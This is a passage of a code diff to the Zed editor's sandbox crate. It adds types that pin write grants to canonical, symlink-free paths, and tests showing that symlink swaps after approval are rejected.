+            let file = std::fs::OpenOptions::new()
+                .read(true)
+                .custom_flags(libc::O_PATH | libc::O_CLOEXEC)
+                .open(path)?;
+            let fd = OwnedFd::from(file);
+            let path = std::fs::read_link(format!("/proc/self/fd/{}", fd.as_raw_fd()))?;
+            Ok(Self {
+                path,
+                fd: std::sync::Arc::new(fd),
+            })
+        }
+        #[cfg(not(any(target_os = "macos", target_os = "linux")))]
+        {
+            Ok(Self {
+                path: path.to_path_buf(),
+            })
+        }
+    }
+
+    /// Verify a *claimed* canonical `path`, proving the object now living there
+    /// is the one that was approved.
+    ///
+    /// This is the load-bearing reconstruction for user-approved write grants,
+    /// which must survive process restarts and therefore can't keep the
+    /// approval-time fd alive.
+    ///
+    /// On **Linux** this opens an `O_PATH` fd with `O_NOFOLLOW`, rejects a
+    /// symlink leaf (`S_IFLNK` check, [`io::ErrorKind::PermissionDenied`]), and
+    /// requires the fd's real path to still equal `path` (also
+    /// `PermissionDenied` otherwise) — so any component swapped for a symlink
+    /// after approval fails closed. On **macOS/other** the claimed path is
+    /// trusted verbatim: Seatbelt re-resolves the access path at syscall time
+    /// (so a later swap is denied, not redirected), and WSL/other resolve
+    /// elsewhere.
+    pub(crate) fn from_canonical(path: PathBuf) -> io::Result<Self> {
+        // Same absolute-path requirement as `resolve`: a persisted or
+        // hand-authored relative grant must never be resolved against Zed's own
+        // working directory (Linux) or emitted as a relative Seatbelt literal
+        // (macOS).
+        #[cfg(any(target_os = "linux", target_os = "macos"))]
+        require_absolute(&path)?;
+        #[cfg(target_os = "windows")]
+        require_windows_grant_shape(&path)?;
+
+        #[cfg(target_os = "macos")]
+        {
+            Ok(Self { path })
+        }
+        #[cfg(target_os = "linux")]
+        {
+            use std::os::unix::fs::OpenOptionsExt as _;
+            // `O_NOFOLLOW` makes a symlink *leaf* open the symlink itself
+            // (harmless with `O_PATH`) rather than its target, so we can detect
+            // and reject it below; intermediate components are still traversed
+            // and caught by the canonical-path comparison.
+            let file = std::fs::OpenOptions::new()
+                .read(true)
+                .custom_flags(libc::O_PATH | libc::O_CLOEXEC | libc::O_NOFOLLOW)
+                .open(&path)?;
+            let fd = OwnedFd::from(file);
+
+            // Reject a symlink leaf outright: a grant must name a real directory,
+            // and `readlink` of an `O_PATH|O_NOFOLLOW` fd on a symlink returns
+            // the symlink's *own* path (equal to `path`), so the comparison
+            // below wouldn't catch it.
+            let stat = nix::sys::stat::fstat(fd.as_raw_fd()).map_err(io::Error::from)?;
+            if stat.st_mode & libc::S_IFMT == libc::S_IFLNK {
+                return Err(io::Error::new(
+                    io::ErrorKind::PermissionDenied,
+                    format!(
+                        "sandbox write grant {} is a symlink, not a directory",
+                        path.display()
+                    ),
+                ));
+            }
+
+            // Load-bearing: the pinned inode's real path must still be exactly
+            // the approved canonical path. If any component became a symlink
+            // after approval, the fd resolves elsewhere and this diverges.
+            let current = std::fs::read_link(format!("/proc/self/fd/{}", fd.as_raw_fd()))?;
+            if current != path {
+                return Err(io::Error::new(
+                    io::ErrorKind::PermissionDenied,
+                    format!(
+                        "sandbox write grant {} was redirected to {}",
+                        path.display(),
+                        current.display()
+                    ),
+                ));
+            }
+
+            Ok(Self {
+                path,
+                fd: std::sync::Arc::new(fd),
+            })
+        }
+        #[cfg(not(any(target_os = "macos", target_os = "linux")))]
+        {
+            Ok(Self { path })
+        }
+    }
+
+    /// The canonical, symlink-free path.
+    pub(crate) fn path(&self) -> &Path {
+        &self.path
+    }
+
+    /// Consume this value, returning the canonical path.
+    #[cfg_attr(target_os = "windows", expect(dead_code))]
+    pub(crate) fn into_path(self) -> PathBuf {
+        self.path
+    }
+
+    /// Linux: a borrowed handle to the pinned inode, for `fstat`-based identity
+    /// checks.
+    #[cfg(target_os = "linux")]
+    pub(crate) fn fd(&self) -> BorrowedFd<'_> {
+        self.fd.as_fd()
+    }
+
+    /// Linux: an independent `O_PATH` descriptor to the same pinned inode,
+    /// duplicated (with `O_CLOEXEC`) so a validation server can own and send it
+    /// over `SCM_RIGHTS` without affecting this value's descriptor.
+    #[cfg(target_os = "linux")]
+    pub(crate) fn dup_fd(&self) -> io::Result<OwnedFd> {
+        self.fd.as_fd().try_clone_to_owned()
+    }
+}
+
+/// Reject a non-absolute grant path. Gated to the platforms whose constructors
+/// resolve paths against the process working directory; on WSL/other the path is
+/// a namespace-specific form that `Path::is_absolute` would misjudge, and its
+/// real resolution happens WSL-side (see `crate::windows_wsl`).
+#[cfg(any(target_os = "linux", target_os = "macos"))]
+fn require_absolute(path: &Path) -> io::Result<()> {
+    if path.is_absolute() {
+        Ok(())
+    } else {
+        Err(io::Error::new(
+            io::ErrorKind::InvalidInput,
+            format!("sandbox grant path {} is not absolute", path.display()),
+        ))
+    }
+}
+
+/// Windows: enforce that a stored grant path is one of the two shapes a
+/// sandboxed WSL command can name — a Windows drive path (`C:\...` or `\\?\C:\...`,
+/// on NTFS) or a Linux-absolute path (`/...`, inside the WSL distro). Everything
+/// else (notably `\\wsl.localhost\...` and other UNC paths, and relative paths)
+/// is rejected, so an invalid grant shape can't be represented as a
+/// [`CanonicalPathBuf`]. `Path::is_absolute` isn't used: it would reject a
+/// perfectly valid Linux-absolute grant like `/home/me` on Windows.
+#[cfg(target_os = "windows")]
+fn require_windows_grant_shape(path: &Path) -> io::Result<()> {
+    let text = path.to_string_lossy();
+    // Linux-absolute (WSL): exactly one leading '/'.
+    let is_wsl = text.starts_with('/') && !text.starts_with("//");
+    // Windows drive (NTFS): `X:...`, optionally behind the `\\?\` verbatim prefix.
+    let drive = text.strip_prefix(r"\\?\").unwrap_or(&text);
+    let drive = drive.as_bytes();
+    let is_windows_drive = drive.len() >= 2 && drive[0].is_ascii_alphabetic() && drive[1] == b':';
+    if is_wsl || is_windows_drive {
+        Ok(())
+    } else {
+        Err(io::Error::new(
+            io::ErrorKind::InvalidInput,
+            format!(
+                "sandbox grant path {} is neither a Windows drive path (`C:\\...`) \
+                 nor a WSL absolute path (`/...`)",
+                path.display()
+            ),
+        ))
+    }
+}
+
+impl PartialEq for CanonicalPathBuf {
+    /// Two values are equal when they refer to the **same filesystem object**:
+    /// the inode behind the `O_PATH` fd on Linux, the canonical path on
+    /// macOS/other — never merely equal path text where an fd is available. This
+    /// is what lets policy bookkeeping dedupe "the same location named two
+    /// different ways" and refuse to treat "two different objects that happen to
+    /// share a path string" as one.
+    fn eq(&self, other: &Self) -> bool {
+        #[cfg(target_os = "linux")]
+        {
+            match (
+                linux_fd_identity(self.fd.as_raw_fd()),
+                linux_fd_identity(other.fd.as_raw_fd()),
+            ) {
+                (Some(a), Some(b)) => a == b,
+                // An `fstat` on an `O_PATH` fd we own should never fail; if it
+                // somehow does we can't prove identity, so report "not equal"
+                // (the safe answer) and leave a trace.
+                _ => {
+                    log::error!(
+                        "failed to fstat an O_PATH descriptor while comparing sandbox locations"
+                    );
+                    false
+                }
+            }
+        }
+        #[cfg(not(target_os = "linux"))]
+        {
+            // Canonicalization is a bijection on real paths, so equal canonical
+            // paths mean the same directory/file.
+            self.path == other.path
+        }
+    }
+}
+
+impl Eq for CanonicalPathBuf {}
+
+/// The `(device, inode)` pair behind an `O_PATH` descriptor, used to decide
+/// whether two [`CanonicalPathBuf`]s (or their parents) refer to the same
+/// filesystem object.
+#[cfg(target_os = "linux")]
+pub(crate) fn linux_fd_identity(fd: std::os::fd::RawFd) -> Option<(u64, u64)> {
+    let stat = nix::sys::stat::fstat(fd).ok()?;
+    Some((stat.st_dev as u64, stat.st_ino as u64))
+}
+
+#[cfg(all(test, any(target_os = "linux", target_os = "macos")))]
+mod tests {
+    use super::CanonicalPathBuf;
+    use std::path::PathBuf;
+
+    #[test]
+    fn constructors_reject_relative_paths() {
+        // A relative grant would otherwise be resolved against Zed's own working
+        // directory; both constructors must fail closed before touching the fs.
+        // (`CanonicalPathBuf` is deliberately not `Debug`, so match rather than
+        // `expect_err`.)
+        match CanonicalPathBuf::resolve("relative/dir") {
+            Ok(_) => panic!("resolve must reject a relative path"),
+            Err(error) => assert_eq!(error.kind(), std::io::ErrorKind::InvalidInput),
+        }
+        match CanonicalPathBuf::from_canonical(PathBuf::from("relative/dir")) {
+            Ok(_) => panic!("from_canonical must reject a relative path"),
+            Err(error) => assert_eq!(error.kind(), std::io::ErrorKind::InvalidInput),
+        }
+    }
+}
+
+#[cfg(all(test, target_os = "windows"))]
+mod windows_tests {
+    use super::CanonicalPathBuf;
+    use std::path::PathBuf;
+
+    #[test]
+    fn constructors_enforce_windows_grant_shape() {
+        // Accepted: Windows drive paths (NTFS) and WSL absolute paths.
+        for ok in [
+            r"C:\Users\me",
+            r"\\?\C:\Users\me",
+            "/home/me/proj",
+            "/mnt/c/Users/me",
+        ] {
+            assert!(
+                CanonicalPathBuf::from_canonical(PathBuf::from(ok)).is_ok(),
+                "{ok} should be accepted"
+            );
+        }
+        // Rejected: `\\wsl.localhost\...`, other UNC, and relative paths.
+        for bad in [
+            r"\\wsl.localhost\Ubuntu\home\me",
+            r"\\wsl$\Ubuntu\home\me",
+            r"\\server\share\dir",
+            r"relative\dir",
+            "also/relative",
+        ] {
+            match CanonicalPathBuf::from_canonical(PathBuf::from(bad)) {
+                Ok(_) => panic!("{bad} should be rejected"),
+                Err(error) => assert_eq!(error.kind(), std::io::ErrorKind::InvalidInput),
+            }
+        }
+    }
+}
diff --git a/crates/sandbox/src/util/host_filesystem_location.rs b/crates/sandbox/src/util/host_filesystem_location.rs
new file mode 100644
index 00000000000000..8e7cc055530c1a
--- /dev/null
+++ b/crates/sandbox/src/util/host_filesystem_location.rs
@@ -0,0 +1,531 @@
+//! [`HostFilesystemLocation`]: an opaque handle to a host-filesystem location
+//! the sandbox may grant access to or protect, backed by a [`CanonicalPathBuf`].
+
+use std::fmt;
+use std::path::{Path, PathBuf};
+
+use super::CanonicalPathBuf;
+#[cfg(any(target_os = "linux", target_os = "macos"))]
+use super::lexically_normalized_absolute;
+
+#[cfg(target_os = "linux")]
+use std::os::fd::{BorrowedFd, OwnedFd};
+
+/// An opaque handle to a location on the **host** filesystem the sandbox may
+/// grant access to or protect (for example, a writable or protected subtree).
+///
+/// The entire purpose of this type is to capture the *security-relevant identity*
+/// of a host location once, up front, in a form the enforcement layer can use
+/// without re-resolving a path string later. Re-resolving a path at enforcement
+/// time is the classic time-of-check-to-time-of-use hole: a path that was
+/// verified as safe can be swapped for a symlink before the sandbox actually
+/// binds/allows it, redirecting the grant to an arbitrary host location.
+///
+/// A grant carries two paths: the **raw** path exactly as requested (untrusted,
+/// display/provenance only) and the **canonical**, symlink-free path that is the
+/// *actual* grant (a [`CanonicalPathBuf`]). The canonical path is resolved once
+/// when the grant is established (and persisted across process restarts for
+/// grants that must outlive an fd), and enforcement proves the object now living
+/// at that path is still the one that was approved.
+///
+/// What the [`CanonicalPathBuf`] captures is platform-specific:
+/// - **macOS**: the canonical path, used verbatim as the Seatbelt rule literal.
+///   Seatbelt matches the *resolved* access path against this literal, so a
+///   post-approval swap of a path component fails closed (denied) rather than
+///   redirecting the grant — no re-resolution or fd is needed.
+/// - **Linux**: the canonical path *plus* an `O_PATH` file descriptor pinned to
+///   its inode. [`HostFilesystemLocation::reopen`] opens the fd on the persisted
+///   canonical path and requires `readlink("/proc/self/fd/N") == canonical`,
+///   failing closed if any component became a symlink after approval (the
+///   pre-mount, host-side half of the check). bwrap is launched by a PTY that
+///   can't inherit extra fds, so we can't use bwrap's own `--bind-fd`; instead
+///   the bind uses an ordinary `--bind <canonical>` and an in-sandbox validator
+///   compares `fstat` of this descriptor against `lstat` of the mounted path
+///   after the mounts, catching a swap between the host check and the mount (the
+///   post-mount half; see `linux_bubblewrap::validate_binds` and `README.md`).
+/// - **Windows**: the persisted canonical path is resolved inside WSL at
+///   approval time. The WSL helper reopens and verifies it before binding it.
+///
+/// The type is deliberately **opaque**: it does not `Deref`. Its paths are
+/// readable only through [`HostFilesystemLocation::display`] (for showing the
+/// user both what was requested and the true target) and the `pub(crate)`
+/// enforcement accessors. Nothing hands back a value that can be re-fed into a
+/// constructor by string except the verifying [`HostFilesystemLocation::reopen`]
+/// path. Equality reflects the actual filesystem object (same inode on Linux,
+/// same canonical path on macOS), not the textual raw path.
+#[derive(Clone)]
+pub struct HostFilesystemLocation {
+    /// The captured, symlink-free identity of the location — the *actual* grant.
+    canonical: CanonicalPathBuf,
+    /// The path exactly as requested. Display/provenance only — never consulted
+    /// by enforcement. Treat as untrusted, attacker-influenced text.
+    untrusted_raw_path: PathBuf,
+}
+
+/// A borrowed, display-only view of a [`HostFilesystemLocation`], exposing both
+/// the raw request and the canonical target so a UI can render an informed
+/// "requested → granted" disclosure. The fields are `impl Display`, so they drop
+/// straight into a format string; neither is a trusted identity a caller may
+/// feed back into a sandbox API.
+pub struct HostFilesystemLocationDisplay<'a> {
+    /// The path exactly as requested (untrusted provenance; may be relative).
+    pub untrusted_raw_path: std::path::Display<'a>,
+    /// The canonical target — the path that is *actually* granted. Emphasize
+    /// this when rendering.
+    pub canonical_path: std::path::Display<'a>,
+    /// `true` when the raw request resolved through a symlink to a different
+    /// target (i.e. `untrusted_raw_path` and `canonical_path` name different
+    /// objects). The approval UI should highlight the redirect in this case; a
+    /// mere relative-vs-absolute or `.`/`..` difference does not count.
+    pub is_redirected: bool,
+}
+
+impl HostFilesystemLocation {
+    /// Resolve `raw` to its canonical target and capture it, **following**
+    /// symlinks.
+    ///
+    /// Use this for locations that are *not* re-established from persisted state:
+    /// the project's own worktree roots and protected paths (whose parents a
+    /// sandboxed command can't tamper with), and to resolve a user-requested
+    /// path at approval time so the real target can be shown and persisted.
+    ///
+    /// Following symlinks is intentional here — the goal is to discover the true
+    /// target. Protection against a *later* swap comes from persisting the
+    /// resolved canonical path and rebuilding the grant with [`Self::reopen`],
+    /// which verifies it.
+    pub fn capture(raw: impl AsRef<Path>) -> std::io::Result<Self> {
+        let raw = raw.as_ref();
+        Ok(Self {
+            canonical: CanonicalPathBuf::resolve(raw)?,
+            untrusted_raw_path: raw.to_path_buf(),
+        })
+    }
+
+    /// Rebuild a grant from a persisted `(raw, canonical)` pair, proving the
+    /// object now living at `canonical` is the one that was approved.
+    ///
+    /// This is the load-bearing reconstruction for user-approved write grants,
+    /// which must survive process restarts and therefore can't keep the
+    /// approval-time fd alive. `raw` is carried for display only.
+    ///
+    /// On Linux this opens an `O_PATH` fd on `canonical`, rejects a symlink leaf
+    /// (`O_NOFOLLOW` + an `S_IFLNK` check), and requires the fd's real path to
+    /// still equal `canonical` — so any component swapped for a symlink after
+    /// approval fails closed. On macOS the persisted canonical is trusted
+    /// verbatim (Seatbelt matches the resolved access path, so a later swap is
+    /// denied at syscall time, not redirected).
+    pub fn reopen(raw: impl AsRef<Path>, canonical: impl AsRef<Path>) -> std::io::Result<Self> {
+        let raw = raw.as_ref();
+        Ok(Self {
+            canonical: CanonicalPathBuf::from_canonical(canonical.as_ref().to_path_buf())?,
+            untrusted_raw_path: raw.to_path_buf(),
+        })
+    }
+
+    /// The requested path, for **display only** (e.g. in error messages).
+    ///
+    /// This intentionally returns the untrusted, as-requested path — never the
+    /// captured trusted identity. Do not feed the result back into any sandbox
+    /// API as if it identified this location. Prefer [`Self::display`] for UI.
+    pub fn untrusted_path_display(&self) -> std::path::Display<'_> {
+        self.untrusted_raw_path.display()
+    }
+
+    /// A borrowed view exposing both the raw request and the canonical target,
+    /// plus whether the request was redirected through a symlink, for an
+    /// informed "requested → granted" disclosure in the approval UI.
+    pub fn display(&self) -> HostFilesystemLocationDisplay<'_> {
+        HostFilesystemLocationDisplay {
+            untrusted_raw_path: self.untrusted_raw_path.display(),
+            canonical_path: self.canonical_or_raw_path().display(),
+            is_redirected: self.is_redirected(),
+        }
+    }
+
+    /// The captured canonical path, falling back to the raw path only on
+    /// platforms that do not resolve a separate canonical identity.
+    ///
+    /// Used both for display and as the subtree key in
+    /// [`normalize_host_filesystem_locations`].
+    fn canonical_or_raw_path(&self) -> &Path {
+        self.canonical.path()
+    }
+
+    /// Whether the raw request resolved through a symlink to a different target.
+    /// Compares the *lexically*-normalized absolute raw path against the
+    /// canonical path, so a purely relative or `.`/`..`-laden request that
+    /// resolves to the same object does not count as a redirect.
+    fn is_redirected(&self) -> bool {
+        #[cfg(any(target_os = "linux", target_os = "macos"))]
+        {
+            match lexically_normalized_absolute(&self.untrusted_raw_path) {
+                Some(normalized) => normalized != self.canonical.path(),
+                // A relative request can't be compared without a base; report no
+                // redirect rather than a spurious one.
+                None => false,
+            }
+        }
+        #[cfg(not(any(target_os = "linux", target_os = "macos")))]
+        {
+            false
+        }
+    }
+
+    /// The requested path, for enforcement branches on platforms with no
+    /// captured identity of their own (the `not(linux/macos)` overlap check).
+    #[cfg(not(any(target_os = "linux", target_os = "macos")))]
+    pub(crate) fn untrusted_raw_path(&self) -> &Path {
+        &self.untrusted_raw_path
+    }
+
+    /// macOS: the canonical path, used verbatim as the Seatbelt rule literal.
+    /// Trusted — never re-resolved.
+    #[cfg(target_os = "macos")]
+    pub(crate) fn macos_canonical_path(&self) -> &Path {
+        self.canonical.path()
+    }
+
+    /// Linux: the verified canonical path, used as the bind source/destination.
+    #[cfg(target_os = "linux")]
+    pub(crate) fn linux_canonical_path(&self) -> &Path {
+        self.canonical.path()
+    }
+
+    /// Linux: a borrowed handle to the pinned inode, for `fstat`-based identity
+    /// checks.
+    #[cfg(target_os = "linux")]
+    pub(crate) fn linux_fd(&self) -> BorrowedFd<'_> {
+        self.canonical.fd()
+    }
+
+    /// Linux: an independent `O_PATH` descriptor to the same pinned inode,
+    /// duplicated (with `O_CLOEXEC`) so the validation server can own and send it
+    /// over `SCM_RIGHTS` without affecting this location's descriptor.
+    #[cfg(target_os = "linux")]
+    pub(crate) fn linux_dup_fd(&self) -> std::io::Result<OwnedFd> {
+        self.canonical.dup_fd()
+    }
+
+    /// Windows: the requested path, retained for distro selection and display.
+    #[cfg(target_os = "windows")]
+    pub(crate) fn windows_requested_path(&self) -> &Path {
+        &self.untrusted_raw_path
+    }
+
+    /// Windows: the canonical path resolved inside WSL at approval time.
+    #[cfg(target_os = "windows")]
+    pub(crate) fn windows_canonical_path(&self) -> &Path {
+        self.canonical.path()
+    }
+}
+
+/// Reduce a set of writable/protected [`HostFilesystemLocation`]s to a minimal
+/// cover, silently dropping any location nested under another.
+///
+/// Containment is decided on each location's *captured canonical path* (the
+/// symlink-free path pinned at approval time), never on a freshly-resolved
+/// string, so the result is:
+/// - an antichain — no kept location is nested under (or equal to) another; and
+/// - coverage-preserving — every input location is still contained by some kept
+///   location, so the union of granted subtrees is unchanged.
+///
+/// # Why this can't widen a grant
+///
+/// The output is always a *subset* of the input: this only ever drops or keeps
+/// whole input locations, never synthesizes a path. Every input location was
+/// already captured/reopened and (for grants) approved and verified, so whatever
+/// survives was independently approved. Deduping can therefore only *reduce*
+/// access, never grant something new — which is exactly why it's safe to run even
+/// though an attacker might swap a component: we compare pinned canonical strings
+/// fixed at capture time (not the live filesystem), and even a stale containment
+/// decision can only drop a child in favor of a parent that was itself approved.
+pub fn normalize_host_filesystem_locations(
+    locations: impl Iterator<Item = HostFilesystemLocation>,
+) -> Vec<HostFilesystemLocation> {
+    let mut result: Vec<HostFilesystemLocation> = Vec::new();
+    for location in locations {
+        // Already covered by (equal to, or nested under) a kept location: it
+        // grants nothing new, so drop it.
+        if result.iter().any(|existing| {
+            location
+                .canonical_or_raw_path()
+                .starts_with(existing.canonical_or_raw_path())
+        }) {
+            continue;
+        }
+        // This location is broader: evict any kept locations nested under it.
+        result.retain(|existing| {
+            !existing
+                .canonical_or_raw_path()
+                .starts_with(location.canonical_or_raw_path())
+        });
+        result.push(location);
+    }
+    result
+}
+
+impl fmt::Debug for HostFilesystemLocation {
+    fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
+        // Only the display path is shown; the trusted identity stays opaque.
+        formatter
+            .debug_struct("HostFilesystemLocation")
+            .field("untrusted_raw_path", &self.untrusted_raw_path)
+            .finish_non_exhaustive()
+    }
+}
+
+impl PartialEq for HostFilesystemLocation {
+    /// Two locations are equal when they refer to the **same filesystem object**,
+    /// determined from the captured identity (the inode behind the `O_PATH` fd on
+    /// Linux, the canonical path on macOS) — never from the textual raw path.
+    /// This is what lets policy bookkeeping dedupe "the same location named two
+    /// different ways," and refuse to treat "two different objects that happen to
+    /// share a path string" as one.
+    fn eq(&self, other: &Self) -> bool {
+        self.canonical == other.canonical
+    }
+}
+
+impl Eq for HostFilesystemLocation {}
+
+#[cfg(all(test, target_os = "linux"))]
+mod host_filesystem_location_tests {
+    use super::{HostFilesystemLocation, normalize_host_filesystem_locations};
+    use gpui::proptest::prelude::*;
+    use std::fs;
+    use std::os::unix::fs::symlink;
+
+    /// The canonical path of `path` after fully resolving it, for use as the
+    /// persisted grant identity.
+    fn canonical(path: &std::path::Path) -> std::path::PathBuf {
+        path.canonicalize().unwrap()
+    }
+
+    #[test]
+    fn capture_resolves_symlink_and_reports_redirect() {
+        let root = tempfile::tempdir().unwrap();
+        let real = root.path().join("real");
+        fs::create_dir(&real).unwrap();
+        let link = root.path().join("link");
+        symlink(&real, &link).unwrap();
+
+        let location = HostFilesystemLocation::capture(&link).expect("capture link");
+        let display = location.display();
+        // The canonical path is the resolved target, and the redirect is
+        // surfaced so the approval UI can highlight it.
+        assert_eq!(
+            display.canonical_path.to_string(),
+            canonical(&real).display().to_string()
+        );
+        assert!(display.is_redirected);
+        assert_eq!(
+            display.untrusted_raw_path.to_string(),
+            link.display().to_string()
+        );
+    }
+
+    #[test]
+    fn capture_of_plain_directory_is_not_a_redirect() {
+        let root = tempfile::tempdir().unwrap();
+        let dir = root.path().join("dir");
+        fs::create_dir(&dir).unwrap();
+
+        let location = HostFilesystemLocation::capture(&dir).expect("capture dir");
+        assert!(!location.display().is_redirected);
+    }
+
+    #[test]
+    fn reopen_accepts_unchanged_canonical_directory() {
+        let root = tempfile::tempdir().unwrap();
+        let dir = root.path().join("grant");
+        fs::create_dir(&dir).unwrap();
+        let canonical_dir = canonical(&dir);
+
+        let location = HostFilesystemLocation::reopen(&dir, &canonical_dir)
+            .expect("reopen unchanged directory");
+        assert_eq!(location.linux_canonical_path(), canonical_dir);
+    }
+
+    #[test]
+    fn reopen_accepts_legitimately_symlinked_parent() {
+        // The consent flow persists the *resolved* canonical, so a grant whose
+        // request legitimately went through a symlink still reopens cleanly:
+        // there are no symlinks left in the canonical path.
+        let root = tempfile::tempdir().unwrap();
+        let real = root.path().join("real");
+        fs::create_dir_all(real.join("child")).unwrap();
+        let link = root.path().join("link");
+        symlink(&real, &link).unwrap();
+
+        let raw = link.join("child");
+        let canonical_child = canonical(&raw); // .../real/child
+        let location =
+            HostFilesystemLocation::reopen(&raw, &canonical_child).expect("reopen resolved child");
+        assert_eq!(location.linux_canonical_path(), canonical_child);
+    }
+
+    #[test]
+    fn reopen_rejects_intermediate_component_swapped_for_symlink() {
+        // This is the pre-capture TOCTOU the fix closes: the grant was approved
+        // for a real directory, then an intermediate component is swapped for a
+        // symlink pointing at a sensitive location before the command runs.
+        let root = tempfile::tempdir().unwrap();
+        let base = root.path().join("base");
+        let real = base.join("real");
+        fs::create_dir_all(real.join("child")).unwrap();
+        let canonical_child = canonical(&real.join("child")); // approved identity
+
+        // Attacker plants a sensitive target and redirects `base/real` at it.
+        let sensitive = base.join("sensitive");
+        fs::create_dir_all(sensitive.join("child")).unwrap();
+        fs::remove_dir_all(&real).unwrap();
+        symlink(&sensitive, &real).unwrap();
+
+        let error = HostFilesystemLocation::reopen(real.join("child"), &canonical_child)
+            .expect_err("swapped intermediate component must be rejected");
+        assert_eq!(error.kind(), std::io::ErrorKind::PermissionDenied);
+    }
+
+    #[test]
+    fn reopen_rejects_symlink_leaf() {
+        // The grant's leaf itself is replaced by a symlink after approval.
+        let root = tempfile::tempdir().unwrap();
+        let grant = root.path().join("grant");
+        fs::create_dir(&grant).unwrap();
+        let canonical_grant = canonical(&grant);
+
+        let elsewhere = root.path().join("elsewhere");
+        fs::create_dir(&elsewhere).unwrap();
+        fs::remove_dir(&grant).unwrap();
+        symlink(&elsewhere, &grant).unwrap();
+
+        let error = HostFilesystemLocation::reopen(&grant, &canonical_grant)
+            .expect_err("symlink leaf must be rejected");
+        assert_eq!(error.kind(), std::io::ErrorKind::PermissionDenied);
+    }
+
+    #[test]
+    fn normalize_drops_nested_child() {
+        let root = tempfile::tempdir().unwrap();
+        let parent = root.path().join("parent");
+        let child = parent.join("child");
+        fs::create_dir_all(&child).unwrap();
+
+        let out = normalize_host_filesystem_locations(
+            [
+                HostFilesystemLocation::capture(&parent).unwrap(),
+                HostFilesystemLocation::capture(&child).unwrap(),
+            ]
+            .into_iter(),
+        );
+        assert_eq!(out.len(), 1);
+        assert_eq!(out[0].linux_canonical_path(), canonical(&parent));
+    }
+
+    #[test]
+    fn normalize_evicts_children_when_a_broader_parent_arrives() {
+        let root = tempfile::tempdir().unwrap();
+        let parent = root.path().join("parent");
+        let child = parent.join("child");
+        let sibling = parent.join("sibling");
+        fs::create_dir_all(&child).unwrap();
+        fs::create_dir_all(&sibling).unwrap();
+
+        // The two children are inserted first, then the broader parent evicts
+        // both.
+        let out = normalize_host_filesystem_locations(
+            [
+                HostFilesystemLocation::capture(&child).unwrap(),
+                HostFilesystemLocation::capture(&sibling).unwrap(),
+                HostFilesystemLocation::capture(&parent).unwrap(),
+            ]
+            .into_iter(),
+        );
+        assert_eq!(out.len(), 1);
+        assert_eq!(out[0].linux_canonical_path(), canonical(&parent));
+    }
+
+    #[test]
+    fn normalize_keeps_unrelated_siblings() {
+        let root = tempfile::tempdir().unwrap();
+        let a = root.path().join("a");
+        let b = root.path().join("b");
+        fs::create_dir_all(&a).unwrap();
+        fs::create_dir_all(&b).unwrap();
+
+        let out = normalize_host_filesystem_locations(
+            [
+                HostFilesystemLocation::capture(&a).unwrap(),
+                HostFilesystemLocation::capture(&b).unwrap(),
+            ]
+            .into_iter(),
+        );
+        assert_eq!(out.len(), 2);
+    }
+
+    /// A path of 1..=4 components drawn from a tiny alphabet, so generated sets
+    /// contain frequent nesting, siblings, and duplicates.
+    fn path_specs() -> impl Strategy<Value = Vec<Vec<String>>> {
+        let component =
+            prop::sample::select(vec!["a".to_string(), "b".to_string(), "c".to_string()]);
+        let path = prop::collection::vec(component, 1..=4);
+        prop::collection::vec(path, 0..=8)
+    }
+
+    #[gpui::property_test]
+    fn normalize_is_a_minimal_cover(#[strategy = path_specs()] specs: Vec<Vec<String>>) {
+        // Materialize each generated path under a fresh root and capture it, so
+        // the property runs against real pinned canonical identities rather than
+        // bare strings.
+        let root = tempfile::tempdir().unwrap();
+        let mut inputs = Vec::new();
+        for spec in &specs {
+            let mut path = root.path().to_path_buf();
+            path.extend(spec);
+            fs::create_dir_all(&path).unwrap();
+            inputs.push(HostFilesystemLocation::capture(&path).expect("capture generated dir"));
+        }
+
+        let normalized = normalize_host_filesystem_locations(inputs.iter().cloned());
+
+        // Subset: every kept location came from the input (nothing synthesized).
+        for kept in &normalized {
+            assert!(
+                inputs.contains(kept),
+                "kept a location that wasn't an input"
+            );
+        }
+
+        // Antichain: no kept canonical is nested under (or equal to) another
+        // (`starts_with` is reflexive, so this also rules out duplicates).
+        for (i, a) in normalized.iter().enumerate() {
+            for (j, b) in normalized.iter().enumerate() {
+                if i != j {
+                    assert!(
+                        !a.linux_canonical_path()
+                            .starts_with(b.linux_canonical_path()),
+                        "{:?} covers {:?}",
+                        a.linux_canonical_path(),
+                        b.linux_canonical_path(),
+                    );
+                }
+            }
+        }
+
+        // Coverage preserved: every input is still contained by some kept
+        // location, so the union of granted subtrees is unchanged.
+        for input in &inputs {
+            assert!(
+                normalized.iter().any(|kept| input
+                    .linux_canonical_path()
+                    .starts_with(kept.linux_canonical_path())),
+                "{:?} is no longer covered",
+                input.linux_canonical_path(),
+            );
+        }
+
+        // Idempotent: normalizing an already-minimal set is a no-op.
+        let again = normalize_host_filesystem_locations(normalized.iter().cloned());
+        assert_eq!(again, normalized);
+    }
+}
diff --git a/crates/sandbox/src/windows_wsl.rs b/crates/sandbox/src/windows_wsl.rs
index b5cc8694b12fc2..32f24c4b48e5ad 100644
--- a/crates/sandbox/src/windows_wsl.rs
+++ b/crates/sandbox/src/windows_wsl.rs
@@ -43,6 +43,11 @@ pub(crate) struct SandboxPermissions {
     pub(crate) allow_fs_write: bool,
 }
 
+pub(crate) struct WritablePath {
+    pub(crate) requested: PathBuf,
+    pub(crate) canonical: PathBuf,
+}
+
 /// Exit code the environment probe script uses to signal that `bwrap` is not
 /// installed, distinguishing that from WSL itself failing to start a shell.
 /// Chosen to be unlikely to collide with `wsl.exe`'s own failure codes.
@@ -233,6 +238,168 @@ impl PathMapping {
     }
 }
 
+/// The result of resolving a write grant inside WSL: its canonical target, plus
+/// whether that target lives on a Windows-hosted (DrvFs) filesystem whose
+/// sandbox-integrity guarantees are weaker than the distro's native filesystem.
+pub struct ResolvedGrant {
+    pub canonical: PathBuf,
+    pub on_windows_fs: bool,
+}
+
+/// Whether `path` names a location on a Windows drive (reached inside WSL via
+/// DrvFs), as opposed to a WSL-native (ext4) path. This is a cheap *structural*
+/// classification of the path shape (a drive-letter/verbatim path maps to a
+/// `NativeDrive`; WSL UNC and Linux-absolute paths are distro-native). It is
+/// used to decide whether to warn about the weaker DrvFs sandbox guarantees for
+/// default project paths without a WSL round-trip. For explicit grants the
+/// authoritative filesystem class comes from the in-WSL resolver instead (see
+/// [`resolve_canonical_for_grant`]).
+pub fn path_is_on_windows_drive(path: &Path) -> bool {
+    matches!(
+        path_to_wsl_allowing_missing(path),
+        Ok(PathMapping::NativeDrive { .. })
+    )
+}
+
+/// Resolve a requested write grant to the path we persist for it, in
